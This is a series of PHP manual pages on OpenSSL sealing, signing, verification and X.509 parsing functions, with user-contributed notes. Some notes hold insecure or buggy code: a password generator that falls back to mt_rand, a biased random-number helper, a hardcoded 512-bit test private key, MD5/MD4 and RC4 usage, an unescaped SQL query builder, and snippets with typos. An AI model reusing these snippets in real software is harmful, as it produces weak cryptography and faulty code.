Remember to request at very least 8 bytes of entropy, ideally 32 or 64, to avoid possible theorical bruteforce attacks.
acatalept at gmail 11-Jan-2011 11:24
FYI, openssl_random_pseudo_bytes() can be incredibly slow under Windows, to the point of being unusable.  It frequently times out (>30 seconds execution time) on several Windows machines of mine.

Apparently, it's a known problem with OpenSSL (not PHP specifically).

See: http://www.google.com/search?q=openssl_random_pseudo_bytes+slow
gorgo 17-Mar-2010 02:47
a simple way to generate a random password is:
<?php
$password = base64_encode(openssl_random_pseudo_bytes($length, $strong));
?>

this function generates a password with a fallback to mt_rand() if no openssl is available:
<?php
/**
 * generates a random password, uses base64: 0-9a-zA-Z/+
 * @param int [optional] $length length of password, default 24 (144 Bit)
 * @return string password
 */
function generatePassword($length = 24) {
        if(function_exists('openssl_random_pseudo_bytes')) {
            $password = base64_encode(openssl_random_pseudo_bytes($length, $strong));
            if($strong == TRUE)
                return substr($password, 0, $length); //base64 is about 33% longer, so we need to truncate the result
        }

        //fallback to mt_rand if php < 5.3 or no openssl available
        $characters = '0123456789';
        $characters .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz/+';
        $charactersLength = strlen($characters)-1;
        $password = '';

        //select some random characters
        for ($i = 0; $i < $length; $i++) {
            $password .= $characters[mt_rand(0, $charactersLength)];
        }

        return $password;
}
?>

note: openssl_random_pseudo_bytes() is considerably slower than mt_rand.
Tyler Larson 21-Aug-2009 03:18
Here's a drop-in replacement for rand() using OpenSSL as your PRNG:

<?php
    function crypto_rand($min,$max) {
        $range = $max - $min;
        if ($range == 0) return $min; // not so random...
        $length = (int) (log($range,2) / 8) + 1;
        return $min + (hexdec(bin2hex(openssl_random_pseudo_bytes($length,$s))) % $range);
    }
?>
Tyler Larson 21-Aug-2009 02:29
If you don't have this function but you do have OpenSSL installed, you can always fake it:

<?php
    function openssl_random_pseudo_bytes($length) {
        $length_n = (int) $length; // shell injection is no fun
        $handle = popen("/usr/bin/openssl rand $length_n", "r");
        $data = stream_get_contents($handle);
        pclose($handle);
        return $data;
    }
?>
openssl_public_encrypt
openssl_seal
OpenSSL Functions


Seal (encrypt) data

openssl_random_pseudo_bytes
openssl_sign
OpenSSL Functions
PHP Manual

openssl_seal

(PHP 4 >= 4.0.4, PHP 5)

openssl_seal — Seal (encrypt) data

Description

int openssl_seal ( string $data , string &$sealed_data , array &$env_keys , array $pub_key_ids [, string $method ] )

openssl_seal() seals (encrypts) data by using RC4 with a randomly generated secret key. The key is encrypted with each of the public keys associated with the identifiers in pub_key_ids and each encrypted key is returned in env_keys. This means that one can send sealed data to multiple recipients (provided one has obtained their public keys). Each recipient must receive both the sealed data and the envelope key that was encrypted with the recipient's public key.

Parameters

data

sealed_data

env_keys

pub_key_ids

Return Values

Returns the length of the sealed data on success, or FALSE on error. If successful the sealed data is returned in sealed_data, and the envelope keys in env_keys.

Examples

Example #1 openssl_seal() example

<?php
// $data is assumed to contain the data to be sealed

// fetch public keys for our recipients, and ready them
$fp = fopen("/src/openssl-0.9.6/demos/maurice/cert.pem", "r");
$cert = fread($fp, 8192);
fclose($fp);
$pk1 = openssl_get_publickey($cert);
// Repeat for second recipient
$fp = fopen("/src/openssl-0.9.6/demos/sign/cert.pem", "r");
$cert = fread($fp, 8192);
fclose($fp);
$pk2 = openssl_get_publickey($cert);

// seal message, only owners of $pk1 and $pk2 can decrypt $sealed with keys
// $ekeys[0] and $ekeys[1] respectively.
openssl_seal($data, $sealed, $ekeys, array($pk1, $pk2));

// free the keys from memory
openssl_free_key($pk1);
openssl_free_key($pk2);
?>

See Also

  • openssl_open() - Open sealed data

User Contributed Notes

omnibus at omnibus dot edu dot pl 19-Feb-2009 03:38
Note that openssl_seal() causes Internal Server Error if $data is an empty string.
hfuecks at nospam dot org 29-Oct-2007 07:44
openssl_seal() can work well when you need to pass data securely to other platforms / languages. What openssl_seal() does is;

1. Generate a random key
2. Encrypt the data symmetrically with RC4 using the random key
3. Encrypt the random key itself with RSA using the public key / certificate
4. Returns the encrypted data and the encrypted key

So to decrypt the steps are simply;

1. Decrypt the key using RSA and your private key
2. Decrypt the data using RC4 and the decrypted key

The trickiest part may be figuring out how handle the private key - BouncyCastle ( http://www.bouncycastle.org/ ) provides a PEMReader for Java and C# while Not Yet commons-ssl ( http://juliusdavies.ca/commons-ssl/ ) has a KeyStoreBuilder to build Java keystores out of a PEM certificate.

A complete example in Java is described at http://blog.local.ch/archive/2007/10/29/openssl-php-to-java.html
devel@no-spam 15-Jun-2005 06:20
"seals (encrypts) data by using RC4 with a randomly generated secret key"
It should be noted that the randomly generated secret key is 128 bits long (openssl: EVP_rc4(void):  RC4 stream cipher. This is a variable key length cipher with default key length 128 bits.)
openssl_random_pseudo_bytes
openssl_sign
OpenSSL Functions


Generate signature

openssl_seal
openssl_verify
OpenSSL Functions
PHP Manual

openssl_sign

(PHP 4 >= 4.0.4, PHP 5)

openssl_sign — Generate signature

Description

bool openssl_sign ( string $data , string &$signature , mixed $priv_key_id [, int $signature_alg = OPENSSL_ALGO_SHA1 ] )

openssl_sign() computes a signature for the specified data by using SHA1 for hashing followed by encryption using the private key associated with priv_key_id. Note that the data itself is not encrypted.

Parameters

data

signature

If the call was successful the signature is returned in signature.

priv_key_id

signature_alg

For more information see the list of Signature Algorithms.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
5.0.0 | The signature_alg parameter was added.

Examples

Example #1 openssl_sign() example

<?php
// $data is assumed to contain the data to be signed

// fetch private key from file and ready it
$fp = fopen("/src/openssl-0.9.6/demos/sign/key.pem", "r");
$priv_key = fread($fp, 8192);
fclose($fp);
$pkeyid = openssl_get_privatekey($priv_key);

// compute signature
openssl_sign($data, $signature, $pkeyid);

// free the key from memory
openssl_free_key($pkeyid);
?>

See Also

  • openssl_verify() - Verify signature

User Contributed Notes

Chris Kistner 20-Jul-2010 05:53
The list of Signature Algorithms (constants) is very limited! Fortunately the newer versions of php/openssl allow you to specify the signature algorithm as a string.

You can use the 'openssl_get_md_methods' method to get a list of digest methods. Only some of them may be used to sign with RSA private keys.

Those that can be used to sign with RSA private keys are: md4, md5, ripemd160, sha, sha1, sha224, sha256, sha384, sha512

Here's the modified Example #1 with SHA-512 hash:
<?php
// $data is assumed to contain the data to be signed

// fetch private key from file and ready it
$fp = fopen("/src/openssl-0.9.6/demos/sign/key.pem", "r");
$priv_key = fread($fp, 8192);
fclose($fp);
$pkeyid = openssl_get_privatekey($priv_key);

// compute signature with SHA-512
openssl_sign($data, $signature, $pkeyid, "sha512");

// free the key from memory
openssl_free_key($pkeyid);
?>
edmarw at yahoo dot com 04-Sep-2007 09:22
This may help if you just want a real-simple private/public key pair:

<?php

$data = "Beeeeer is really good.. hic...";

// You can get a simple private/public key pair using:
// openssl genrsa 512 >private_key.txt
// openssl rsa -pubout <private_key.txt >public_key.txt

// IMPORTANT: The key pair below is provided for testing only.
// For security reasons you must get a new key pair
// for production use, obviously.

$private_key = <<<EOD
-----BEGIN RSA PRIVATE KEY-----
MIIBOgIBAAJBANDiE2+Xi/WnO+s120NiiJhNyIButVu6zxqlVzz0wy2j4kQVUC4Z
RZD80IY+4wIiX2YxKBZKGnd2TtPkcJ/ljkUCAwEAAQJAL151ZeMKHEU2c1qdRKS9
sTxCcc2pVwoAGVzRccNX16tfmCf8FjxuM3WmLdsPxYoHrwb1LFNxiNk1MXrxjH3R
6QIhAPB7edmcjH4bhMaJBztcbNE1VRCEi/bisAwiPPMq9/2nAiEA3lyc5+f6DEIJ
h1y6BWkdVULDSM+jpi1XiV/DevxuijMCIQCAEPGqHsF+4v7Jj+3HAgh9PU6otj2n
Y79nJtCYmvhoHwIgNDePaS4inApN7omp7WdXyhPZhBmulnGDYvEoGJN66d0CIHra
I2SvDkQ5CmrzkW5qPaE2oO7BSqAhRZxiYpZFb5CI
-----END RSA PRIVATE KEY-----
EOD;
$public_key = <<<EOD
-----BEGIN PUBLIC KEY-----
MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDiE2+Xi/WnO+s120NiiJhNyIButVu6
zxqlVzz0wy2j4kQVUC4ZRZD80IY+4wIiX2YxKBZKGnd2TtPkcJ/ljkUCAwEAAQ==
-----END PUBLIC KEY-----
EOD;

$binary_signature = "";

// At least with PHP 5.2.2 / OpenSSL 0.9.8b (Fedora 7)
// there seems to be no need to call openssl_get_privatekey or similar.
// Just pass the key as defined above
openssl_sign($data, $binary_signature, $private_key, OPENSSL_ALGO_SHA1);

// Check signature
$ok = openssl_verify($data, $binary_signature, $public_key, OPENSSL_ALGO_SHA1);
echo "check #1: ";
if ($ok == 1) {
    echo "signature ok (as it should be)\n";
} elseif ($ok == 0) {
    echo "bad (there's something wrong)\n";
} else {
    echo "ugly, error checking signature\n";
}

$ok = openssl_verify('tampered'.$data, $binary_signature, $public_key, OPENSSL_ALGO_SHA1);
echo "check #2: ";
if ($ok == 1) {
    echo "ERROR: Data has been tampered, but signature is still valid! Argh!\n";
} elseif ($ok == 0) {
    echo "bad signature (as it should be, since data has beent tampered)\n";
} else {
    echo "ugly, error checking signature\n";
}

?>
adam dot mansfeld at gmail dot com 19-Oct-2005 12:50
Hello,

the fourth parameter 'signature_alg' to choose the signature algorithm can be one of:

OPENSSL_ALGO_SHA1
OPENSSL_ALGO_MD5
OPENSSL_ALGO_MD4
OPENSSL_ALGO_MD2

Just for the case that somebody needs this.

Regards
openssl_seal
openssl_verify
OpenSSL Functions


Verify signature

openssl_sign
openssl_x509_check_private_key
OpenSSL Functions
PHP Manual

openssl_verify

(PHP 4 >= 4.0.4, PHP 5)

openssl_verify — Verify signature

Description

int openssl_verify ( string $data , string $signature , mixed $pub_key_id [, int $signature_alg = OPENSSL_ALGO_SHA1 ] )

openssl_verify() verifies that the signature is correct for the specified data using the public key associated with pub_key_id. This must be the public key corresponding to the private key used for signing.

Parameters

data

signature

pub_key_id

signature_alg

For more information see the list of Signature Algorithms.

Return Values

Returns 1 if the signature is correct, 0 if it is incorrect, and -1 on error.

Changelog

Version | Description
5.2.0 | The signature_alg parameter was added.

Examples

Example #1 openssl_verify() example

<?php
// $data and $signature are assumed to contain the data and the signature

// fetch public key from certificate and ready it
$fp = fopen("/src/openssl-0.9.6/demos/sign/cert.pem", "r");
$cert = fread($fp, 8192);
fclose($fp);
$pubkeyid = openssl_get_publickey($cert);

// state whether signature is okay or not
$ok = openssl_verify($data, $signature, $pubkeyid);
if ($ok == 1) {
    echo "good";
} elseif ($ok == 0) {
    echo "bad";
} else {
    echo "ugly, error checking signature";
}
// free the key from memory
openssl_free_key($pubkeyid);
?>

See Also

  • openssl_sign() - Generate signature

User Contributed Notes

jeremie dot gomez at gmail dot com 31-Aug-2011 11:08
You can actually use the public key as third parameter and not the certificate.

If you can't make it work, make sure that :

1) Your public key is well formatted. It seems that it must have the ----BEGIN PUBLIC KEY---- and ----END PUBLIC KEY----

2) Your signature is in binary format. You can use the php base64_decode for this.
mikey at badpenguins dot com 06-Jun-2010 09:04
I spent days scouring the php openssl documentation trying to figure out how to do what sounds like a simple task - given two PEM encoded certificates, is one the signer of the other?  Nowhere in the openssl_verify() documentation or comments is it explained where to obtain the signature of an existing certificate.  The openssl_x509_parse() function looked promising, but it is an unstable API that may change.

I had to write my own code to determine if one cert signed another, it is located here: http://badpenguins.com/source/misc/isCertSigner.php?viewSource

In a nutshell here is what I learned...

The signature data in a signed X.509 certificate contains DER formatted data about the signature that is encrypted with the signers public key.  The data contains a hash of the original subject certificate and information about what encryption algorithm was used to create the signature.

So you need to get this signature data and a copy of the original certificate with the issuer and signature sequences removed.  Hash a copy of the original certificate (sans issuer/signature sequences) with the same algorithm the issuer used and if the hashes match, you have the issuer cert that signed the certificate.
Stiv 02-Mar-2006 06:34
I've finally found a way to verify signature. Sample in the documentation doesn't work. Code bellow DOES work :)

<?php
// $data is assumed to contain the data to be signed

// fetch certificate from file and ready it
$fp = fopen("path/file.pem", "r");
$cert = fread($fp, 8192);
fclose($fp);

// state whether signature is okay or not
// use the certificate, not the public key
$ok = openssl_verify($data, $signature, $cert);
if ($ok == 1) {
    echo "good";
} elseif ($ok == 0) {
    echo "bad";
} else {
    echo "ugly, error checking signature";
}
?>
devel@no-spam 14-Jun-2005 06:25
It should be noted that in order to verify a signature successfully, SHA-1 must be used to digest the data before signing.

If, for example, you are using Java to create a signature and you want to verify it in PHP, you must not use "MD5withRSA" or "SHA512withRSA" as the signature algorithm. Use "SHA1withRSA" or the like...
steve dot venable at lmco dot com 30-May-2002 12:36
A note about the openssl_verify() (and some of the other functions).  The public key comes from a certificate in any of the support formats (as the example shows, use openssl_get_publickey() to get the resource id).  But after some trial and error I found the signature string MUST BE BINARY.  While no error occurs, passing a base64-formatted signature string (PEM format?), you simply get a mismatch.  When I did the base64 decode myself, the verify returned a match (return value 1).  You can simply drop the begin/end lines and take the output of the 'base64_decode()' function.
meint dot post at bigfoot dot com 09-Jun-2001 11:56
Anbybody trying to get a Win32 CryptoAPI based digital signature component to work with the openssl_verify() function should be aware that the CryptoAPI PKCS1 (RSA) method uses bytes in reverse order while the openssl_verify() method expects a correctly formatted PKCS1 digital signature (as should be). I learned this the hard way and it took me some time to dig this out. A simple solution in VBScript to reverse the byte order:

N = Len(Blob.Hex)

' reverse bytes in the signature using Hex format
For i = 1 To N - 1 Step 2
    s = Mid(Blob, i, 2) & s
Next

s contains the digital signature in reverse order. Blob is an arbitrary binary container.

Send the signature off in Hex format and use a hex2bin method in PHP to convert to the correct format for openssl_verify(), i.e.

function hex2bin($data) {

    $len = strlen($data);
    return pack("H" . $len, $data);

}

That's it, hope it helps out. BTW I used ASPEncrypt to toy around with on Win32 platform. Works only with Internet Explorer but you could also use a Java applet and have none of the abovementioned problems :-)
openssl_sign
openssl_x509_check_private_key
OpenSSL Functions


Checks if a private key corresponds to a certificate

openssl_verify
openssl_x509_checkpurpose
OpenSSL Functions
PHP Manual

openssl_x509_check_private_key

(PHP 4 >= 4.2.0, PHP 5)

openssl_x509_check_private_key — Checks if a private key corresponds to a certificate

Description

bool openssl_x509_check_private_key ( mixed $cert , mixed $key )

Checks whether the given key is the private key that corresponds to cert.

Parameters

cert

The certificate.

key

The private key.

Return Values

Returns TRUE if key is the private key that corresponds to cert, or FALSE otherwise.

User Contributed Notes

chris dot kistner at gmail dot com 07-Jan-2011 02:35
Please note that this function only compares the public key component of the private key with the public key residing in the certificate.
openssl_verify
openssl_x509_checkpurpose
OpenSSL Functions


Verifies if a certificate can be used for a particular purpose

openssl_x509_check_private_key
openssl_x509_export_to_file
OpenSSL Functions
PHP Manual

openssl_x509_checkpurpose

(PHP 4 >= 4.0.6, PHP 5)

openssl_x509_checkpurpose — Verifies if a certificate can be used for a particular purpose

Description

int openssl_x509_checkpurpose ( mixed $x509cert , int $purpose [, array $cainfo = array() [, string $untrustedfile ]] )

openssl_x509_checkpurpose() examines a certificate to see if it can be used for the specified purpose.

Parameters

x509cert

The examined certificate.

purpose

openssl_x509_checkpurpose() purposes
Constant | Description
X509_PURPOSE_SSL_CLIENT | Can the certificate be used for the client side of an SSL connection?
X509_PURPOSE_SSL_SERVER | Can the certificate be used for the server side of an SSL connection?
X509_PURPOSE_NS_SSL_SERVER | Can the cert be used for Netscape SSL server?
X509_PURPOSE_SMIME_SIGN | Can the cert be used to sign S/MIME email?
X509_PURPOSE_SMIME_ENCRYPT | Can the cert be used to encrypt S/MIME email?
X509_PURPOSE_CRL_SIGN | Can the cert be used to sign a certificate revocation list (CRL)?
X509_PURPOSE_ANY | Can the cert be used for Any/All purposes?
These options are not bitfields - you may specify one only!

cainfo

cainfo should be an array of trusted CA files/dirs as described in Certificate Verification.

untrustedfile

If specified, this should be the name of a PEM encoded file holding certificates that can be used to help verify the certificate, although no trust is placed in the certificates that come from that file.

Return Values

Returns TRUE if the certificate can be used for the intended purpose, FALSE if it cannot, or -1 on error.

User Contributed Notes

There are no user contributed notes for this page.
openssl_x509_check_private_key
openssl_x509_export_to_file
OpenSSL Functions


Exports a certificate to file

openssl_x509_checkpurpose
openssl_x509_export
OpenSSL Functions
PHP Manual

openssl_x509_export_to_file

(PHP 4 >= 4.2.0, PHP 5)

openssl_x509_export_to_file — Exports a certificate to file

Description

bool openssl_x509_export_to_file ( mixed $x509 , string $outfilename [, bool $notext = TRUE ] )

openssl_x509_export_to_file() stores x509 into a file named by outfilename in a PEM encoded format.

Parameters

x509

See Key/Certificate parameters for a list of valid values.

outfilename

Path to the output file.

notext

The optional parameter notext affects the verbosity of the output; if it is FALSE, then additional human-readable information is included in the output. The default value of notext is TRUE.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
openssl_x509_checkpurpose
openssl_x509_export
OpenSSL Functions


Exports a certificate as a string

openssl_x509_export_to_file
openssl_x509_free
OpenSSL Functions
PHP Manual

openssl_x509_export

(PHP 4 >= 4.2.0, PHP 5)

openssl_x509_export — Exports a certificate as a string

Description

bool openssl_x509_export ( mixed $x509 , string &$output [, bool $notext = TRUE ] )

openssl_x509_export() stores x509 into a string named by output in a PEM encoded format.

Parameters

x509

See Key/Certificate parameters for a list of valid values.

output

On success, this will hold the PEM.

notext

The optional parameter notext affects the verbosity of the output; if it is FALSE, then additional human-readable information is included in the output. The default value of notext is TRUE.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
openssl_x509_export_to_file
openssl_x509_free
OpenSSL Functions


Free certificate resource

openssl_x509_export
openssl_x509_parse
OpenSSL Functions
PHP Manual

openssl_x509_free

(PHP 4 >= 4.0.6, PHP 5)

openssl_x509_free — Free certificate resource

Description

void openssl_x509_free ( resource $x509cert )

openssl_x509_free() frees the certificate associated with the specified x509cert resource from memory.

Parameters

x509cert

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
openssl_x509_export
openssl_x509_parse
OpenSSL Functions


Parse an X509 certificate and return the information as an array

openssl_x509_free
openssl_x509_read
OpenSSL Functions
PHP Manual

openssl_x509_parse

(PHP 4 >= 4.0.6, PHP 5)

openssl_x509_parse — Parse an X509 certificate and return the information as an array

Description

array openssl_x509_parse ( mixed $x509cert [, bool $shortnames = true ] )

openssl_x509_parse() returns information about the supplied x509cert, including fields such as subject name, issuer name, purposes, valid from and valid to dates etc.

Parameters

x509cert

shortnames

shortnames controls how the data is indexed in the array - if shortnames is TRUE (the default) then fields will be indexed with the short name form, otherwise, the long name form will be used - e.g.: CN is the shortname form of commonName.

Return Values

The structure of the returned data is (deliberately) not yet documented, as it is still subject to change.

User Contributed Notes

s dot stok at rollerscapes dot net 28-Dec-2009 05:03
Alternative subjects can read as extensions.

[extensions]
            [subjectAltName] => DNS:*.cacert.org, DNS:cacert.org, DNS:*.cacert.net, DNS:cacert.net, DNS:*.cacert.com, DNS:cacert.com
koukopoulos at gmail dot com 17-Mar-2008 05:22
Re: the previous note: support for the x509v3 extensions was added in PHP 5.2. Also in PHP5 prior to 5.2.4 the values of the x509v3 extensions were not decoded and were returned in the DER binary representation. Therefore in order to read the contents of the v3 extensions you have to parse the relevant ASN.1 structures yourself.

For example if one needs to read an IA5STRING value in a private extension with the OID 1.3.6.1.4.1.7782.3.3 one can do :

<?php

/* parse a DER encoded representation
   of a IA5STRING of length < 127 */
function asn1der_ia5string($str)
{
    $len=strlen($str)-2;
    if ($len < 0 && $len > 127) {
        return false;
    }

    /* check tag and len */
    if (22 != (ord($str[$pos++]) & 0x1f) &&
    ord($str[$pos++]) != $len) {
    /* not a valid DER encoding of an IA5STRING */
    return false;
    }

    return substr($str, 2,  $len);
}
$cert = openssl_x509_parse($pemcert);
print (asn1der_ia5string($cert['extensions']['1.3.6.1.4.1.7782.3.3'])); // prints decoded ascii string

?>

In newer versions (>5.2.3) the extensions are returned in a 'readable format'. For example:

<?php print_r(openssl_x509_parse(...)); ?>
will result in
<?
Array
(
    [name] => /C=GR/O=SOMETHING/CN=ME/
    ...
    [extensions] => Array
        (
            [basicConstraints] => CA:FALSE
            [keyUsage] => Digital Signature, Non Repudiation, Key Encipherment
            [extendedKeyUsage] => E-mail Protection, TLS Web Client Authentication
            [nsCertType] => SSL Client, S/MIME
            ....
?>
zioproto at gmail dot com 13-Feb-2008 06:43
To read an extension from a X.509 certificate, you can proceed like this if you know the OID

//Read the certificate from file
$cert = file_get_contents('test.crt');
$ssl = openssl_x509_parse($cert);

$ext_value =  $ssl['extensions']['1.2.3.4.5.6'];
echo $ext_value

--------------------------------

Because the $ssl array is not documented, you can easily see its contents like this:

  //To print out all the array!
  print_r(array_values($ssl));
  print_r(array_keys($ssl));
nathanael at dihedral dot de 11-Aug-2006 06:02
When dealing with the purposes of a x509 crt file
the output of openssl_x509_parse gives an array with following for the purposes:
each new array ([purposes][1], [purposes][2] for example) is a new purpose check
I compared this output with the output of the command
# openssl x509 -purpose -in <x509crt_file>
the result i got was that
[purposes][x][2] quite obviously is the name of the purpose checked
[purposes][x][1] corresponds to the tested purpose (as named in [purposes][x][2]) acting as CA
[purposes][x][0] corresponds to the general availability of the purpose

[purposes] => Array
    (
        [1] => Array
            (
                [0] => 1
                [1] => 1
                [2] => sslclient
            )

        [2] => Array
            (
                [0] => 1
                [1] => 1
                [2] => sslserver
            )

        [3] => Array
            (
                [0] => 1
                [1] => 1
                [2] => nssslserver
            )

        [4] => Array
            (
                [0] => 1
                [1] => 1
                [2] => smimesign
            )

        [5] => Array
            (
                [0] => 1
                [1] => 1
                [2] => smimeencrypt
            )

        [6] => Array
            (
                [0] => 1
                [1] => 1
                [2] => crlsign
            )

        [7] => Array
            (
                [0] => 1
                [1] => 1
                [2] => any
            )

        [8] => Array
            (
                [0] => 1
                [1] => 1
                [2] => ocsphelper
            )

    )
maarten at xolphin dot nl 11-Feb-2005 02:00
At this time very useful X509 oids (like streetAddress, postalCode and others) are missing. You can find a list of them at http://www.alvestrand.no/objectid/2.5.4.html, I hope they get included to openssl-x509-parse soon.

Until then you can get these oids anyway like this:

<?
  function getOID($OID, $ssl)
  {
    preg_match('/\/' . $OID  . '=([^\/]+)/', $ssl, $matches);
    return $matches[1];
  }

  $cert = file_get_contents('test.crt');
  $ssl = openssl_x509_parse($cert);
  $Address = getOID('2.5.4.9', $ssl['name']);
  $ZipCode = getOID('2.5.4.17', $ssl['name']);
  $Postbox = getOID('2.5.4.18', $ssl['name']);
?>

The parseCert function from the Horde framework can be usefull for this too.
smgallo at buffalo dot edu 29-Oct-2004 11:15
The identifier for the email portion of certificates in the name and subject array have changed since PHP4.  In PHP 4.3.0 the following array was returned (displayed my print_r())

[name] => /O=Grid/O=Globus/O=CCR Grid Portal/OU=Portal User/CN=Test User/Email=test@nospam.buffalo.edu
[subject] => Array
(
   [O] => Grid/O=Globus/O=CCR Grid Portal
   [OU] => Portal User
   [CN] => Test User
   [Email] => test@nospam.buffalo.edu
...

The result in PHP5 is (note Email -> emailAddress):

[name] => /O=Grid/O=Globus/O=CCR Grid Portal/OU=Portal User/CN=Test User/emailAddress=test@nospam.buffalo.edu
[subject] => Array
(
   [O] => Grid/O=Globus/O=CCR Grid Portal
   [OU] => Portal User
   [CN] => Test User
   [emailAddress] => test@nospam.buffalo.edu
...

Of course, the manual DOES say this could happen.  :)
openssl_x509_free
openssl_x509_read
OpenSSL Functions


Parse an X.509 certificate and return a resource identifier for it

openssl_x509_parse
Database Extensions
OpenSSL Functions
PHP Manual

openssl_x509_read

(PHP 4 >= 4.0.6, PHP 5)

openssl_x509_read — Parse an X.509 certificate and return a resource identifier for it

Description

resource openssl_x509_read ( mixed $x509certdata )

openssl_x509_read() parses the certificate supplied by x509certdata and returns a resource identifier for it.

Parameters

x509certdata

Return Values

Returns a resource identifier on success or FALSE on failure.

User Contributed Notes

marc theat nwd thedot mx 10-May-2011 09:58
To get the real timestamps as integer values for the validity daterange you can use as follows:

<?php
$data = openssl_x509_parse(file_get_contents('/path/to/cert.crt'));

$validFrom = date('Y-m-d H:i:s', $data['validFrom_time_t']);
$validTo ) date('Y-m-d H:i:s', $data['validTo_time_t']);

echo $validFrom . "\n";
echo $validTo . "\n";

?>
Gabe Martin-Dempesy at mudbugmedia dot com 10-Aug-2006 03:04
For those interested in parsing the timestamps from the certificate, such as the valid to and valid from times, it should be noted that the format returned by this function is: YYMMDDHHMMSS

This code snippet is useful for generating a unix timestamp for this purpose:
<?php

$fp = fopen("/path/to/cert.crt", "r");
$cert = fread($fp, 8192);
fclose($fp);

$data = openssl_x509_parse($cert);
/**
 * Convert a timestamp from openssl_x509_parse to a unix timestamp
 * @param string $in openssl timestamp
 * @return integer unix timestamp
 */
function openssl_to_timestamp ($in) {
        $year  = substr($in, 0, 2); /* NOTE: Yes, this returns a two digit year */
        $month = substr($in, 2, 2);
        $day   = substr($in, 4, 2);
        $hour  = substr($in, 6, 2);
        $min   = substr($in, 8, 2);
        $sec   = substr($in, 10, 2);
        return gmmktime($hour, $min, $sec, $month, $day, $year);
}
var_dump(gmdate('r', openssl_to_timestamp($data['validTo'])));
?>

This will output: string(31) "Fri, 29 Aug 2008 16:45:15 +0000"
Compare this with the output of `openssl x509 -in cert.crt -noout -text`:
        Validity
            Not After : Aug 29 16:45:15 2008 GMT
04-Jun-2003 09:32
After some tests I've been able to get some results this way ...

<?php

 $fp = fopen("/etc/httpd/conf/ssl/moncertif.crt", "r");
 $cert = fread($fp, 8192);
 fclose($fp);

echo "Read<br>";
echo openssl_x509_read($cert);
echo "<br>";
echo "*********************";
echo "<br>";
echo "Parse<br>";
print_r(openssl_x509_parse($cert));
/*
// or
print_r(openssl_x509_parse( openssl_x509_read($cert) ) );
*/

?>

enjoy
;)
anthony dot whitehead at rfv dot sfa dot se 03-Feb-2003 05:32
Short HOWTO for getting data out of a client certificate via an SSL enabled iPlanet (Netscape Enterprise or Sun ONE) web server.

The iPlanet server sets $_SERVER["CLIENT_CERT"] whenever a client authenticates with a certificate. This variable contains an encoded representation of the certificate presented by the client. This in itself is useless to scripts or applications, we need to extract the actual information from the encoding. It turns out that we are in luck, the encoding is NEARLY a standard PEM encoding which can be read by the openssl_x509_read() function. A standard PEM has a begin line, an end line and inbetween is a base64 encoding of the DER representation of the certificate. PEM requires that linefeeds be present every 64 characters, however this is already the case with our CLIENT_CERT variable. For some reason the iPlanet server neglects to attach the begin and end headers, all that is required to allow access to the certificate is replacing these headers. Here is a small code excerpt for doing just that and printing out the raw certificate data.

<?php
    $beginpem = "-----BEGIN CERTIFICATE-----\n";
    $endpem = "-----END CERTIFICATE-----\n";

    // Small function to print the data recursivly.
    function print_element($item, $key)
    {
        if( is_array( $item ) )
        {
            echo "$key is Array:\n";
            array_walk( $item, 'print_element' );
            echo "$key done\n";
        }
        else
            echo "$key = $item\n";
    }

    // Build the PEM string.
    $pemdata = $beginpem.$_SERVER["CLIENT_CERT"]."\n".$endpem;

    // Get a certificate resource from the PEM string.
    $cert = openssl_x509_read( $pemdata );

    // Parse the resource and print out the contents.
    $cert_data = openssl_x509_parse( $cert );
    array_walk( $cert_data, 'print_element' );

    // Free the resource
    openssl_x509_free( $cert );
?>
openssl_x509_parse
Database Extensions
OpenSSL Functions


Database Extensions

  • Abstraction Layers
    • DBA — Database (dbm-style) Abstraction Layer
    • dbx
    • ODBC — ODBC (Unified)
    • PDO — PHP Data Objects
  • Vendor Specific Database Extensions
    • CUBRID
    • DB++
    • dBase
    • filePro
    • Firebird/InterBase
    • FrontBase
    • IBM DB2 — IBM DB2, Cloudscape and Apache Derby
    • Informix
    • Ingres — Ingres DBMS, EDBC, and Enterprise Access Gateways
    • MaxDB
    • Mongo — MongoDB Native Driver
    • mSQL
    • Mssql — Microsoft SQL Server
    • MySQL — MySQL Drivers and Plugins
    • OCI8 — Oracle OCI8
    • Ovrimos SQL
    • Paradox — Paradox File Access
    • PostgreSQL
    • SQLite
    • SQLite3
    • SQLSRV — Microsoft SQL Server Driver for PHP
    • Sybase
    • tokyo_tyrant

User Contributed Notes

yasuhiro dot public at gmail dot com 28-Feb-2011 03:36
This is an example to create SQL query commands automatically by setting options.

<?php

// Set required parameters here.
// The order of setting determines the order of constructing options.
$options = array(
    "SELECT" => array('item1', "item2"),
    "FROM"   => 'table',
    "WHERE"  => array("visible = 1", 'param > 3'),
    "LIMIT"  => array(2, 5)
);

// Each command can have different separator strings.
// default: " " (white space)
// for example : [ WHERE visible = 1 param > 3 ] to [ WHERE visible = 1 AND param > 3 ]
$separators = array(
    "AND" => "WHERE",
    ","   => array("SELECT", 'LIMIT')
);

echo "<pre>";
echo queryGenerate($options, $separators);
echo "</pre>";

// output:
// SELECT item1 , item2 FROM table WHERE visible = 1 AND param > 3 LIMIT 2 , 5

function queryGenerate($options = array(), $separators = array())
{
    $sql = "";

    if(is_array($options) && is_array($separators))
    {
        foreach ($options as $command => $param)
        {
            if(is_array($param))
            {
                $separateCode = null;

                foreach ($separators as $separator => $words)
                {
                    if(is_array($words))
                    {
                        for ($i = 0, $count = count($words); $i < $count; $i++)
                        {
                            if(stripos($words[$i], $command) !== false)
                            {
                                $separateCode = $separator;
                            }
                        }
                    }
                    else
                    {
                        if(stripos($words, $command) !== false)
                        {
                            $separateCode = $separator;
                        }
                    }
                }

                $sql .= "{$command} ";

                for ($i = 0, $count = count($param); $i < $count; $i++)
                {
                    if($i > 0)
                    {
                        $sql .= ($separateCode === null) ? " " : " {$separateCode} ";
                    }

                    $sql .= "{$param[$i]}";
                }

                $sql .= " ";
            }
            else
            {
                $sql .= "{$command} {$param} ";
            }
        }
    }
    return $sql;
}

?>
openssl_x509_read
Abstraction Layers
Function Reference


Abstraction Layers

  • DBA — Database (dbm-style) Abstraction Layer
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • DBA Functions
  • dbx
    • Introduction
    • Installing/Configuring
